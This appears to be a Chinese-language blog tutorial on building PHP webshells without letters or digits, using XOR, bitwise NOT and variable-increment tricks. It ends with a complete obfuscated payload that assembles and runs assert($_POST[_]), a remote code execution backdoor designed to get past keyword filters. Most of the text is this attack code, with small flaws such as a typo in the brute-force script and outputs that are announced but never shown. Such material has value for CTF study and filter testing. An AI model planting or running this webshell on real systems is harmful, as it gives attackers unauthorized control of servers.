异或:
补充: A的ascii为65,对应二进制是01000001
<?php echo "1"^"A"; ?>
将“A”和“1”进行异或,结果为“p” 异或的过程就是讲字符转化为ascii,再变为二进制进行异或 “1”和“A”各自的ascii码的二进制进行异或得到一个新的二进制,再进行转码,最终变为”p“ 构造assert($_POST[_]);
<?PHP for($i = 0; $i < 256; $i++) { for($j=0; $j < 256;$j++) { if(chr($i^$j) == 'A') { echo (urlencode(chr($i)) . " " . urlencode(chr(&j)); echo "\n"; } } } ?> //第六行中的A可以根据需求自行改变
以此类推,可以得到webshell
取反:
利用UTF-8编码的某个汉字,将其中某个字符取出来<?php echo ~('和'{2}); ?> <?php echo ~('安'{2}); ?>结果为
变量自增:
‘a'++ == 'b' 'c'++ == 'd' 不难发现,通过一个字符就可以根据ascii码得到a-z所有字符<?PHP echo (''.[]); ?>数组Array的第一个字母是大写A,而第四个字母是小写a。 在php中,如果强制连接数组和字符串的话,数组将被转换成字符串,即Array 再例如
<?php function B(){ echo "xiao"; } $_++; $__= "?" ^ "}"; $__(); ?>结果为 $_++; 表示对_这个变量进行自增操作,在php中未定义的变量默认值为null,可以通过非数字进行自增操作得到一个数字 $__="?" ^ "}";表示对?和}进行异或运算,结果为B同时复制给$__ $__();函数调用
<?php $_=[]; $_=@"$_"; $_=$_['!'=='@']; $___=$_; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $___.=$__; $__=$_; $__++;$__++;$__++;$__++; $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $_=$$____; $___($_[_]); ?>View Code 如图